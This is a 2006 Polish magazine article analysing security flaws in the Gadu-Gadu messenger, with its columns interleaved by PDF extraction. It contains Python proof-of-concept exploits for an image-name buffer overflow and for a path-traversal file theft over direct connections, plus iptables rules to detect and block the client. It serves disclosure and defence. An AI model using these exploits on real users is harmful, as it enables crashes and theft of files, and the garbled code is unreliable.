bezpieczeństwo
Analiza
bezpieczeństwa
komunikatora
internetowego
z wykorzystaniem platformy Linux
Błażej Miga, Jarosław Sajko
ożna zaryzykować tezę, że mych komunikatorów. Trudno nie zgo-
u boku poczty elektronicz- dzić z faktem, że jednym z najbardziej
nej, panującej od wielu lat popularnych jest Gadu-Gadu. To on wła-
Mw królestwie usług komu- śnie stał się tym, który poszedł na pierw-
nikacji internetowej, wyrósł jej w ciągu szy ogień. To właśnie na jego przykła-
ostatnich lat nie mniej potężny i niewie- dzie postaramy się zaprezentować meto-
le mniej popularny książę komunika- dykę analizy tego typu aplikacji, miejsca,
tor internetowy (ang. instant messenger). gdzie mogą pojawić się słabe punkty oraz
Zagościł on nie tylko w domostwach zwy- pokazać przykładowe narzędzia do testów
kłych ludzi, ale również w małych, więk- penetracyjnych.
szych i największych korporacjach i insty- Platformą, na której będą uruchamia-
tucjach administracji publicznej, stając ne wszystkie narzędzia oraz kody testu-
się tym samym narzędziem komunikacji jące podatności, będzie Linux, ponieważ
o wszechstronnym zastosowaniu. Pakiety system ten doskonale sprawdza się jako
komunikatorów niosą informacje różnej system do przeprowadzania testów pene-
kategorii, począwszy od plotek i uzgod- tracyjnych. Podczas prezentowania kon-
nień co do miejsca wieczornego spotkania, kretnych błędów bezpieczeństwa będą
DVD
a skończywszy na mniej jawnych infor- wyszczególniane dwie wersje klienta dla
Po uruchomieniu Linux+ Live
macjach, np. szczegółach umowy handlo- systemu Windows, tzn. wersja 6 build 154
DVD można skorzystać z kilku
komunikatorów internetowych, wej czy też danych dostępowych. Jestem oraz wersja 7 build 20 dla nich będą pre-
w tym Kadu.
przekonany, ze niejeden administrator zentowane kody proof-of-concept napisane
sieci próbował walczyć z komunikatora- w Pythonie.
Na płycie DVD
mi do czasu, gdy okazało się, że są one
Na płycie DVD znajdują się kody
niemal tak potrzebne w pracy, jak telefony. Potencjalne problemy
proof-of-concept dla większości
Teraz te walki mogą mieć jedynie charak- W grudniu 2004 roku Zespół Bezpieczeństwa
prezentowanych błędów
ter ambicjonalny, ponieważ faktem stało PCSS publikował informacje o podatno-
bezpieczeństwa.
się, że komunikator stał się tak niezbęd- ściach na pewne klasy ataków występują-
O autorach
ny, jak email. cych w aplikacjach klienckich Gadu-Gadu,
Autorzy to pracownicy Zespołu
Z tego powodu nasze przekonanie, Tlen.PL oraz WPKontakt. Dwie z nich
Bezpieczeństwa Poznańskiego
że bezpieczeństwo aplikacji komunikato- były związane ze schematem komuni-
Centrum Superkomputerowo
ra internetowego jest nie mniej krytycz- kacji i protokołem wykorzystywanym
Sieciowego, który zajmuje
ne dla bezpieczeństwa całej infrastruk- przez GG. Właśnie je postaramy się teraz
się m.in. administracją
tury niż bezpieczeństwo przeglądania opisać. W zasadzie mogłyby to być przy-
systemów bezpieczeństwa
stron WWW, systemu poczty elektronicz- kłady tego, jak nie należy projektować
teleinformatycznego,
nej czy też fakt istnienia poprawnie skon- protokołu i jak nie należy implementować
audytami bezpieczeństwa,
figurowanego systemu zapory sieciowej. jego obsługi.
testami penetracyjnymi oraz
analizą kodów. Postanowiliśmy przyjrzeć się, jak wyglą- Krytyczne dla bezpieczeństwa aplika-
da poziom bezpieczeństwa naszych rodzi- cji jest to, w jaki sposób aplikacja ta obcho-
28 styczeń 2006
bezpieczeństwo
niebezpieczne gadu-gadu
niem obrazków w GG w wielu wersjach.
Dołączony do artykułu kod proof-of-con-
cept będzie miał zastosowanie dla wersji 6
Serwer Komunikacyjny
Serwer Komunikacyjny build 154 oraz 7 build 20, ale z pewnością
można go ulepszyć tak, aby można go było
zastosować dla innych wersji, do czego
gorąco zachęcam.
Jak wiadomo, poza czystymi wiado-
a
mościami tekstowymi, można komuś w
tekście wysłać obrazek. Jak to się odbywa?
Najpierw wysyłana jest struktura z infor-
Klient B
Klient A
Klient A Klient B
macją o tym, że tekst będzie zawierał obra-
zek. Obrazek identyfikowany jest przez roz-
Rysunek 2. Klient A wysyła komunikat
Rysynek 1. Klient A nawiązuje połączenie
miar i sumę kontrolną. Jeżeli nasz rozmów-
do klienta B za pośrednictwem serwera
bezpośrednie z pominięciem serwera
ca nie ma obrazka o takiej samej sumie kon-
komunikacyjnego z żądaniem nawiązania
komunikacyjnego
trolnej i rozmiarze, czyli nie ma jeszcze na
połączenia, a klient B w odpowiedzi
dzi się z danymi dostarczonymi do niej dysku obrazka, który chcemy wyświetlić
ux
nawiązuje połączenie
z zewnątrz, a w szczególności przez użyt- w jego okienku komunikatora, to wysyła
kownika, który może mieć nieczyste intencje. nam prośbę o dosłanie mu tego obrazka. no na stercie, jak i na stosie, co z kolei
Żelazną regułą przy operacjach na danych Dosyłamy go wraz ze standardową struk- można wykorzystać do wykonania
dostarczanych przez użytkownika do pro- turą, która go opisuje. Zawiera ona rów- kodu atakującego na komputerze
gramu jest brak zaufania do tych danych i w nież nazwę obrazka, która jest zródłem pro- ofiary.
związku z tym dokładne i ostrożne spraw- blemów: " W wersji 7 build 20 i prawdopodobnie
dzenie ich pod kątem poprawności przed starszych długość nazwy pliku jest co
ich przetworzeniem. Pogwałcenie tej reguły " W wersji 6 build 154 i prawdopodob- prawda sprawdzana (tzn. czy jest ona
może skutkować tym, że program napisany nie starszych nazwa pliku jest kopio- mniejsza niż 200 znaków i takiej też
w celu wykonywania konkretnych czynno- wana do bufora bez sprawdzania jej stałej wielkości jest bufor alokowany
ści będzie mógł posłużyć komuś do wyko- długości, a bufor do której jest kopio- na stosie), ale do tego bufora kopio-
nania zupełnie innych czynności, nie prze- wana, jest obszarem o stałej wielko- wana jest nazwa pliku doklejona naj-
widzianych specyfikacją. ści, alokowanym najpierw na ster- pierw do nazwy katalogu imgcache\,
Takie zdarzenie miało miejsce w przy- cie, a następnie na stosie. Prowadzi a więc w brzegowym przypadku
padku błędu związanego z przesyła- to do przepełnienia bufora, zarów- łańcuch znaków o 9 bajtów przekra-
cza swoją długością zaalokowany dla
niego bufor. Konsekwencje tego prze-
Schematy komunikacji w Gadu-Gadu
W przypadku, gdy chcemy wysłać komu- można z nim nawiązywać połączenia pełnienia w wersji 7 są zdecydowanie
nikat tekstowy do użytkownika o zadanym z zewnątrz; mniej grozne, gdyż aplikacja zosta-
numerze, nasza aplikacja kliencka wysyła " innym sposobem jest skorzystanie ła skompilowana z ochroną stosu
komunikat do serwera komunikacyjnego. z możliwości poproszenia drugiego (StackGuard).
Po przepakowaniu do innej struktury, treść użytkownika o nawiązanie połączenia " W wersjach 7 oraz 6 i prawdopodob-
komunikatu wysyłana jest do odbiorcy. W z adresem przez nas podanym, tzn. nie wszystkich wcześniejszych nazwa
tym przypadku mamy komunikację z uży- za pomocą specjalnego pakietu prze- pliku, która jest ustalana przez osobę
ciem centralnego serwera. Opcjonalne w słanego do użytkownika przez serwer wysyłająca obrazek, nie jest spraw-
tym schemacie jest potwierdzenie odbio- komunikacyjny wywołać po stronie dzana pod kątem zawartości nazw
ru nadawane przez odbiorcę po otrzyma- odbiorcy procedurę nawiązywania po- urządzeń specjalnych, tzn. możemy
niu komunikatu. łączenia zwrotnego z adresem poda- nazwać plik z obrazkiem tak, jak
Aby nawiązać połączenie bezpo- nym przez nas podczas logowania się urządzenie specjalne, czyli np. AUX,
średnie, komunikator musi znać adres, do systemu. Tym specjalnym pakietem LPT1, COM1 itd... Można tę podat-
z którym ma się połączyć (jest on wysy- jest pakiet CTCP z pierwszym bajtem ność wykorzystać do wykonania ope-
łany do serwera komunikacyjnego pod- danych o wartości 1. racji czytania bądz pisania do takiego
czas logowania). Oczywiście, nie zawsze urządzenia, co w najlepszym przypad-
nawiązanie bezpośredniego połączenia Jak widać, mamy tutaj w ogólności dwa ku zablokuje klienta GG.
jest możliwe, np. w sytuacji, gdy czyjś kom- schematy komunikacji: jeden to opisany " W wersjach z rodziny 6 nazwa pliku
puter jest za NAT. W takiej sytuacji mamy wcześniej schemat z centralnym serwe- nie jest sprawdzana pod kątem
dwa rozwiązania: rem, a drugi to schemat połączeń bezpo- zawartości prawie wcale, więc mo-
średnich, które są realizowane z pominię- żemy w nazwie plików użyć tagów
" użytkownik może podczas logowa- ciem serwera komunikacyjnego, z tym, że HTML czy też referencji \..\, co w efe-
nia podać adres zewnętrzny, np. adres ich inicjalizacja może wymagać serwera kcie może prowadzić do wykona-
bramy do Internetu, poprzez który będzie komunikacyjnego. nia kodu atakującego na kompute-
rze ofiary.
www.lpmagazine.org 29
bezpieczeństwo
Listing 1. Kod proof-of-concept dla przepełnienia bufora nazwy obrazka przesyłanego w ramach rozmowy (dla wersji klienta 7 build 20).
#!/usr/bin/python
self.send(GG_LOGIN, buff)
import socket
if self.recv()[0] == 3:
import struct
return 1
import sys
else:
from select import select
return 0
from random import randint
def connect(self, dccIP, dccPort, status=2):
GG_VERSION = "\x26\x00\x00\xc2"
myIP = socket.gethostbyname(socket.gethostname())
GG_LOGIN = 0x15 ; GG_MSG = 0x0b
ipAddress = "217.17.41.85" ; tcpPort = 443
GG_NOTIFY = 0x0f
servAddress = (ipAddress, int(tcpPort))
GG_NOTIFY_LAST = 0x10 ; NUL = "\x00"
S
self.sck = socket.socket(socket.AF_INET,
def ip2b(ip):
socket.SOCK_STREAM)
s = ""
self.sck.connect(servAddress)
for o in ip.split("."):
self.sck.settimeout(60)
s += chr(int(o))
print "[GG] Connected!"
return s
seed = struct.unpack("I", self.recv()[1])[0]
def compute_hash(password, seed):
S
buff = self.createLoginStruct(seed, status,
y = long(seed) ; x = long(0) ; z = long(0)
myIP, dccIP, dccPort)
for i in range(0,len(password)):
if self.login(buff):
x = (x & 0xffffff00L) | ord(password[i:i+1])
print "[GG] Logged in."
y = (y^x)&0xffffffffL ; y = (y+x)&0xffffffffL
else:
x = (x<<8)&0xffffffffL ; y = (y^x)&0xffffffffL
print "[GG] Login Failed."
x = (x<<8)&0xffffffffL ; y = (y-x)&0xffffffffL
def disconnect(self):
x = (x<<8)&0xffffffffL ; y = (y^x)&0xffffffffL
print "[GG] Disconnected."
z = (y & 0x1f)&0xffffffffL
self.sck.close()
y = ((y << z) | (y >> (32 - z))&0xffffffffL)
def sendImage(self, uin, imageSize, imageContent):
return int((y&0xffffffffL))
S
imageChecksum = struct.pack("i",(randint
class GGConnection:
(-sys.maxint, sys.maxint)))
def send(self, ptype, pcontent):
img = "\x09\x01" ; img += struct.pack("i",imageSize)
self.sck.send(struct.pack("II", ptype, len(pcontent)))
img += imageChecksum ; rich = "\x00\x00\x80"
self.sck.send(pcontent)
rich += img
def recv(self):
buff = struct.pack("iii", int(uin), self.seq, 0x28)
ptype,plen = struct.unpack("II", self.sck.recv(8))
buff += struct.pack("bb", 0, 2)
pcontent = self.sck.recv(plen)
buff += struct.pack("h", len(rich)) ; buff += rich
return ptype, pcontent
self.send(GG_MSG, buff) ; self.seq += 1
def poll(self, timeout=0):
imageReply = struct.pack("bb", 0, 5)
ready = select([self.sck], [], [], timeout)
imageReply += struct.pack("i", imageSize)
if ready[0] == []:
imageReply += imageChecksum
return 0
imageReply += imageContent
return 1
buff = struct.pack("iii", int(uin), 0, 4)
S
def createLoginStruct(self, seed, status,
buff += imageReply
myIP, dccIP, dccPort):
self.send(GG_MSG, buff)
passhash = compute_hash(self.password, seed)
if __name__=="__main__":
buff = struct.pack("III", self.uin, passhash, status)
if len(sys.argv) < 4:
buff += GG_VERSION ; buff += NUL
S
print "usage: cmd
buff += ip2b(myIP) # dcc data
"
buff += struct.pack("H", dccPort)
sys.exit()
if myIP != dccIP:
myUin = int(sys.argv[1]) ; myPass = sys.argv[2]
buff += ip2b(dccIP) ; buff += struct.pack("H", dccPort)
victimsUin = int(sys.argv[3])
else:
imageName = 199*"A"+"\x00"
buff += 6*NUL
imageContent = "ABCDEFGHIJ"
# image size in kilos, unknown
g = GGConnection(myUin, myPass)
buff += struct.pack("BB",100,190)
g.connect("0.0.0.0", 0, 0x14)
return buff
S
g.sendImage(victimsUin, len(imageContent),
def __init__(self, uin, password):
imageName+imageContent)
self.uin = uin ; self.password = password ; self.seq = 0
print "[Main] Payload has sent"
def login(self, buff):
g.disconnect() ; sys.exit()
30 styczeń 2006
bezpieczeństwo
niebezpieczne gadu-gadu
Jest to tylko jeden z elementów przesyła-
Listing 2. Przykład wykorzystania podatności związanej z przesyłaniem plików przez
nej struktury, a jak widać, może przyspo-
połączenia bezpośrednie (dla wersji 6 build 154)
rzyć wielu problemów związanych z bez-
pieczeństwem. Prawie we wszystkich wer-
#!/usr/bin/python
sjach aplikacji, również w ostatniej (na
...
dzień pisania artykułu), występują pro-
blemy z nazwą pliku, która tak naprawdę
def b2i(bts):
nie jest potrzebna. Wystarczy, że nadawca
S
return ((1*ord(bts[0]))+(256*ord(bts[1]))+(65536*ord(bts[2]))
określi treść, a nazwę, pod jaką plik z gra-
+(16777216*ord(bts[3])))
fiką jest zapisywany w cache'u, może usta-
def runServer(servaddress, filename):
lać odbiorca.
try:
Na Listingu 1 znajduje się ilustracja
print "[DCC Server] Server started"
dla błędu związanego z przepełnieniem
output = filename.split("\\")[-1]
bufora. Jest to kod działający dla wersji
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7 build 20 klienta GG dla Windows oraz
s.bind(servaddress) ; s.listen(1) ; (conn, address) = s.accept()
prawdopodobnie starszych. Listing ten,
conn.settimeout(5.0)
poza funkcją main, która z punktu widze-
print "[DCC Server] Connection accepted"
nia tego proof-of-concept jest najważniej-
tmp = conn.recv(4) ; tmp = conn.recv(4)
sza, zawiera również klasę GGConnection,
conn.send("UDAG") ; tmp = conn.recv(4)
która realizuje połączenie z serwerem
print "[DCC Server] Authorization OK"
komunikacyjnym i autoryzację. Będzie
fname = "\x01"+filename+"\x00"
ona wykorzystywana we wszystkich przy-
buff = "\x04\x00\x00\x00"
kładach. Jej metoda connect jest odpowie-
buff += struct.pack( I ,len(fname))
dzialna za przeprowadzenie procedury
buff += fname ; conn.send(buff) ; conn.recv(8)
autoryzacji użytkownika w systemie, jak
conn.recv(1+len(filename)) ; conn.recv(4)
również korzysta pośrednio z funkcji com-
length = b2i(conn.recv(4)) - len(filename) - 2
pute_hash, która jest z kolei odpowiedzial-
print "[DCC Server] File length: %d" % length
na za obliczenie skrótu hasła na podstawie
conn.recv(2+len(filename)) ; f = file(output, "wb+")
otrzymanej wartości seed. Przy połączeniu
while length > 0:
pomijany jest krok z łączeniem się z ser-
if length > 4096:
werem WWW i pobieraniem adresu ser-
buff = conn.recv(4096)
wera komunikacyjnego, więc może zda-
elif length <= 4096:
rzyć się tak, że będzie konieczna ręczna
buff = conn.recv(length)
zmiana adresu zapisanego w ciele metody.
f.write(buff)
W kodzie w main nawiązujemy połączenie
length = length - len(buff)
z serwerem, podając swoje dane dostępo-
print "[DCC Server] File written"
we oraz status 0x14, co oznacza, że naszym
conn.close() ; f.close()
początkowym statusem ma być niewi-
except:
dzialny . Następnie wysyłamy do komu-
print "[DCC Server] No such file or not exploitable"
nikatora, który testujemy, pakiet z obraz-
if __name__ == "__main__":
kiem. To on, a dokładniej zawarta w nim
myIP = socket.gethostbyname(socket.gethostname())
nazwa, powoduje przepełnienie bufora
myPort = 443
w testowanym komunikatorze.
if len(sys.argv) < 5:
Innym miejscem, któremu postanowi-
print "usage: cmd "
liśmy się przyjrzeć, były połączenia bez-
sys.exit()
pośrednie. Gadu-Gadu, jak również inne
myUin = int(sys.argv[1]) ; myPass = sys.argv[2]
komunikatory, wykorzystuje je np. do
victimsUin = int(sys.argv[3])
przesyłania plików pomiędzy użytkow-
fname = sys.argv[4]
nikami. W przypadku GG okazało się,
S
serverThread = Thread(None, runServer,
że obsługa tych połączeń zawiera kilka
"ServerThread", ((myIP, myPort), fname), {})
podatności godnych uwagi.
serverThread.start()
Pierwsza i być może najciekawsza
g = gg.GGConnection(myUin,myPass)
występowała w wersjach 6 build 154
g.connect(myIP, myPort)
i wcześniejszych. Zaprogramowana jest
g.sendNotify([victimsUin])
w nich funkcjonalność służąca do przesy-
g.sendCtcp(victimsUin, 1)
łania plików z katalogu _cache (najczęściej
serverThread.join()
znajdują się tam pliki z bannerami) jed-
g.disconnect()
nego komunikatora do drugiego z wyko-
rzystaniem bezpośredniego połączenia
www.lpmagazine.org 31
bezpieczeństwo
ne miejsce zawiera klasę i funkcje pomoc-
Listing 3. Konfiguracja zapory sieciowej do zabezpieczania przed połączeniami
nicze, tak jak na Listingu 1. W tym przy-
nawiązywanymi z zewnątrz
padku wykorzystujemy połączenia bez-
pośrednie, więc podczas logowania poda-
# Wyczyszczenie wszystkich tablic iptables
jemy adres dla takich połączeń, jak rów-
iptables -F
nież uruchamiamy wątek serwera (jest
iptables -F -t nat
on odpowiedzialny za przyjęcie nadcho-
# Domyślne zblokowanie całego ruchu
dzącego połączenia oraz wysłanie żądania
iptables -P INPUT DROP
nadesłania pliku).
iptables -P OUTPUT DROP
W wersjach 7, 6 oraz najprawdopo-
iptables -P FORWARD DROP
dobniej we wszystkich innych proto-
# Zezwolenie na ruch, który odbywa się w ramach utworzonych połączeń
kół używany do połączeń bezpośred-
iptables A FORWARD j ACCEPT m state -state ESTABLISHED
nich przesyła dane w nienumerowanych
iptables A FORWARD j ACCEPT m state -state RELATED
pakietach. Ponadto, reaguje on na żąda-
iptables A INPUT j ACCEPT m state -state ESTABLISHED
nia protokołu w większości przypadków
iptables A INPUT j ACCEPT m state -state RELATED
bez dodatkowych warunków wewnętrz-
iptables A OUTPUT j ACCEPT m state -state ESTABLISHED
nych. W związku z tym możliwe jest
iptables A OUTPUT j ACCEPT m state -state RELATED
wysłanie pakietu z kodem błędu informu-
# Zezwolenie na tworzenie połączeń z sieci lokalnej
jącym np. o tym, że użytkownik nie chce
iptables A FORWARD o ppp0 j ACCEPT m state -state NEW
odebrać pliku, podczas gdy żaden plik nie
iptables A OUTPUT o ppp0 j ACCEPT m state -state NEW
był wysyłany. Co więcej, w komunikacie
# Maskarada dla wszystkich hostów z sieci lokalnej
takim nie będzie zawarta informacja, który
iptables -t nat -A POSTROUTING -p all -s 10.0.0.0/24 -j MASQUERADE
użytkownik nie chce odebrać tego pliku.
Wysyłając ciągle ten sam pakiet można
pomiędzy nimi. Całość przebiega mniej czeniem odsyłany do żądającego. Do- wymusić wielokrotne wyświetlanie takie-
więcej w następujący sposób: kładniej rzecz ujmując, odsyłane jest 64 go i tak nie prawdziwego komunikatu, co
kB tego pliku. tworzy podatność na atak na dostępność.
" Komunikator nawiązuje połączenie bez- Rozwiązaniem tego problemu byłoby
pośrednie z osobą ze swojej listy kon- I tym razem nie jest sprawdzane, co ta z pewnością przechowywanie wewnętrz-
taktów. Osoba, z którą jest nawiązywa- nazwa pliku zawiera, więc może znaj- nie stanu nawiązanych połączeń.
ne połączenie, musi mieć nas na swojej dować się w niej ..\..\..\..., co daje nam Innym przykładem programistycz-
liście kontaktów. Połączenie nawiązy- podatność umożliwiającą kradzież nego błędu jest sytuacja, która dotyczy
wane jest według schematów z ramki danych. Dodatkowym problemem jest obsługi niektórych żądań przesyłanych za
Schematy komunikacji w Gadu-Gadu, tutaj to, że całość tej operacji odbywa się pomocą połączeń bezpośrednich. Są one
a więc możliwe jest nawiązanie połącze- bez informowania użytkownika, że takie w nowej wersji (rodzina wersji 7) obsłu-
nia z osobą znajdującą się za NAT-em. procesy zachodzą. Możemy bez problemu giwane w taki sposób, że możliwe jest
" Po przeprowadzeniu procedury auto- pobrać plik z konfiguracją GG, listę kon- zaalokowanie pamięci bez wykonania ob-
ryzacyjnej strona inicjalizująca połą- taktów, czy też plik SAM z katalogu win- sługi żądania, co z kolei prowadzi czasem
czenie wysyła żądanie z nazwą pliku dows. Ilustracja tej podatności znajduje się do takich sytuacji:
i plik o takiej nazwie jest tym połą- na Listingu 2, na którym wykropkowa-
" wysyłamy do ofiary żądanie nawiązania
Listing 4. Regułki IPTables wykrywające łączenie się klientów Gadu-Gadu z sieci lokalnej
połączenia zwrotnego z adresem poda-
nym przez nas podczas logowania;
S
iptables A FORWARD p tcp \! f m iprange -dst-range 217.17.41.80- " tym nawiązanym przez klienta ofiary
S
217.17.41.95 m mport -ports 8074,443 m connbytes -connbytes połączeniem bezpośrednim wysyła-
S
0:255 m state ESTABLISHED m length -length 46:375 m u32 -u32 my żądanie o kodzie np. 3, z informa-
S
0>>22&0x3c@ 12>>26&0x3c@ 0=0x15000000 j LOG -log-prefix cją, jak dużą porcję pamięci klient ma
GG LOGIN: -log-level debug zaalokować (wielkość ta musi być nie
S
iptables A FORWARD p tcp \! f m iprange -dst-range 217.17.46.248- większa niż 64kB);
217.17.46.255 m mport -ports 8074,443 m connbytes -connbytesS
" wysyłamy te 64kB danych i przecho-
S
0:255 m state ESTABLISHED m length -length 46:375 m u32 -u32 dzimy do kroku drugiego.
S
0>>22&0x3c@ 12>>26&0x3c@ 0=0x15000000 j LOG -log-prefix
GG LOGIN: -log-level debug Jest to algorytm wykorzystujący podat-
S
iptables A FORWARD p tcp \! f m iprange -dst-range 217.17.45.128- ność na atak na dostępność aplikacji.
217.17.45.159 m mport -ports 8074,443 m connbytes -connbytesS
W dosyć krótkim czasie jesteśmy w stanie
S
0:255 m state ESTABLISHED m length -length 46:375 m u32 wymusić zaalokowanie dużej ilości pamię-
S
-u32 0>>22&0x3c@ 12>>26&0x3c@ 0=0x15000000 j LOG ci przez klienta GG naszego rozmówcy.
-log-prefix GG LOGIN: -log-level debug Błędów związanych z obsługą połą-
czeń bezpośrednich jest jeszcze kilka, ale
32 styczeń 2006
bezpieczeństwo
niebezpieczne gadu-gadu
Komunikacja w połączeniach bezpo-
Listing 5. Regułki IPTables pozwalające na korzystanie z określonych usług
średnich realizowana jest na losowych
S
iptables A FORWARD o ppp0 j ACCEPT m state -state NEW p tcp portach. W jaki sposób wyodrębnić odpo-
mport -dst-port 80,443,110,25,8074 wiednie pakiety? Podczas tworzenia połą-
S
iptables A OUTPUT o ppp0 j ACCEPT m state -state NEW p tcp czenia bezpośredniego następuje prosta
mport -dst-port 80,443,110,25,8074 autoryzacja użytkowników. Program
S
iptables A FORWARD o ppp0 j ACCEPT m state -state NEW p udp nadawcy wysyła do odbiorcy 8 bajtowy
mport -dst-port 53 pakiet z dwoma numerami użytkowni-
S
iptables A OUTPUT o ppp0 j ACCEPT m state -state NEW p udp ków, swoim i odbiorcy. Odbiorca potwier-
mport -dst-port 53 dza nawiązanie połączenia 4 bajtowym
pakietem z słowem UDAG . Następnie
nadawca wysyła informacje o kierunku
chcieliśmy pokazać, jak łatwo jest popeł- 217.17.46.255 oraz 217.17.45.128-217.17.45. przesyłki pliku. Dzięki blokadzie pakie-
niać błędy, jeśli sami projektujemy proto- 159. Na początku program próbuje wysy- tów zawierających słowo UDAG mamy
kół i jak łatwo z punktu widzenia atakują- łać pakiety na port 8074. W przypad- możliwość zablokowania tego typu ruchu:
cego jest je wykorzystywać. ku, gdy nie może utworzyć na nim połą-
czenia, próbuje łączyć się na port 443. iptables A FORWARD p tcp \! f m
Sposoby zabezpieczania się Serwery przetwarzają otrzymane komuni- connbytes -connbytes 0:255 m state
Najczęściej spotykanym sposobem ochro- katy i przesyłają je do wybranych odbior- ESTABLISHED m length -length 46:375
ny naszej sieci przed atakami z Internetu ców. Podczas logowania do serwerów, m u32 -u32 0>>22&0x3c@ 12>>26&0x3c@
jest instalacja zapory sieciowej opartej na klient przekazuje informacje, na którym 0=0x55444147 j DROP
systemie operacyjnym Linux. Dzięki zasto- porcie oczekuje na połączenia bezpośred-
sowaniu filtru pakietów na tym urządze- nie DCC. Połączenia bezpośrednie umoż- Inna możliwością zablokowania połączeń
niu możemy określić, do jakich usług inter- liwiają użytkownikom przesyłanie plików bezpośrednich jest wypuszczenie ruchu
netowych nasi lokali użytkownicy będą i prowadzenie rozmów głosowych. tylko dla ściśle określonych usług np.
mieli dostęp. Firewall ten zabezpieczy rów- Bardzo często administratorzy dużych DNS, HTTP, POP3, SMTP, co przedsta-
nież naszą sieć lokalną przed połączeniami sieci stają przed problemem, na jakim kom- wia Listing 5.
nawiązywanymi z sieci Internet. Przykład puterze jest zainstalowany komunikator.
standardowej konfiguracji filtra pakietów Dodając prostą regułę, nasz filtr pakietów Podsumowanie
IPtables znajduje się na Listingu 3. będzie logował wszystkie próby autory- Komunikatory internetowe to świetne narzę-
Aby móc stworzyć skuteczny system zacji do serwerów Gadu-Gadu z kompu- dzie porozumiewania się. I jako takie po-
ochrony naszej sieci lokalnej przed ata- terów naszej sieci lokalnej. Skorzysta ona winny być poważnie traktowane w kwe-
kami, musimy poznać podstawy proto- z modułu u32, który daje możliwość porów- stiach bezpieczeństwa przez ich dostaw-
kołu Gadu-Gadu (jest on dobrze opisany nania dowolnych 4 bajtów pakietu (jest on ców. Dodatkowo, ważne, aby zwrócić na nie
na stronach Eksperymentalnego Klienta dostępny po instalacji łatki Netfiltera z sys- baczniejszą uwagę, ponieważ widać obec-
Gadu-Gadu -- http://dev.null.pl/ekg). Każdy temu Patch-O-Matic). Odpowiednie reguł- nie trend zmierzający do tworzenia wersji
pakiet składa się z dwóch części: nagłów- ki znajdują się na Listingu 4. Wyszukujemy komunikatorów dla biznesu, zintegrowa-
ka i ciała komunikatu. 8-bajtowy nagłó- przy ich pomocy połączeń do serwerów nych często z pakietem biurowym. Myślę, że
wek informuje o rodzaju pakietu, który komunikacyjnych Gadu-Gadu. Interesują pokazaliśmy nie tylko, na ile niebezpieczna
jest przesyłany i długości ciała komuni- nas tylko początkowe 4 bajty pierwszego może być taka niepozorna aplikacja, ale też,
katu. Pakiety sterujące oraz komunikaty pakietu takiego połączenia. W argumencie od których jej miejsc warto rozpocząć prze-
z wiadomościami i obrazkami są przesy- modułu u32 sprawdzamy, czy pierwsze 4 prowadzanie audytu. Również jak łatwo jest
łane przez program do serwerów komu- bajty ciała pakietu są równe 0x15000000. napisać proste narzędzia, korzystając z dar-
nikacyjnych. Serwery te posiadają adresy Liczba ta wskazuje na to, że przesyłanym mowego systemu oraz interpretera, testu-
IP 217.17.41.80-217.17.41.95, 217.17.46.248- pakietem jest komunikat logujący użyt- jące poziom realnego zagrożenia podatno-
kownika do serwera Gadu-Gadu. W celu ści konkretnego komunikatora. Platforma
Listing 6. Przykład procedury main uzyskania dodatkowych informacji (np. Linux oraz język Python dają nam świetne
umożliwiającej interaktywną pracę numeru użytkownika, adresu i numeru możliwości w testowaniu protokołu aplika-
portu) musimy skorzystać ze sniffera siecio- cji. Można w łatwy sposób pisać proste, ale
#!/usr/bin/python
wego, np. Tethereal: tethereal i any & .. działające skrypty, z którymi będzie możli-
...
w gg_login_packets.dump. Takie wywoła- wość pracy interaktywnej, np. za pomocą
if __name__=="__main__":
nie programu pozwoli zapisywać w pliku funkcji input w procedurze głównej skryp-
while 1:
gg_login_packets.dump wszystkie pakiety tu możemy tworzyć obiekty i wywoływać
try:
z informacją przesyłaną przez użytkowni- ich metody w sposób podobny jak w powło-
line = input("? ")
ków do serwerów komunikacyjnych pod- ce. Przykład takiej procedury znajduje się na
except:
czas procesu logowania. Oprócz informa- Listingu 6. W ten sposób napisana procedu-
print Error!
cji o numerze użytkownika, do serwera ra główna umożliwia nam ręczne tworzenie
sys.exit(0)
przesyłana jest także informacja o nume- połączenia z serwerem i ręczne wywoływa-
rze wersji programu. nie jego metod recv oraz send.
www.lpmagazine.org 33
Wyszukiwarka
Podobne podstrony:
2005 01 Pyro i OpenSSL–bezpieczny komunikator internetowy [Programowanie]
2006 06 Analiza Naruszeń i Egzekwowanie Polityki Bezpieczeństwa
2006 01 Niepełnosprawność nie jest barierą
1 Analiza elementow komunikacji
Marklin Magazin 2006 01 Gleisplan
2006 01 14
Search Engines Personaliser system analizy i personalizacji wyszukiwarek internetowych(1)
2006 01 Klucz do wlasnej firmy
2006 01 24 chemia pr odp a2[1](1)
2006 01 Stoły do masażu
2006 01 24 chemia pp odp a1[1](1)
2006 01 R
2006 01 Nie chcemy fizjoterapeutów z przypadku(1)
więcej podobnych podstron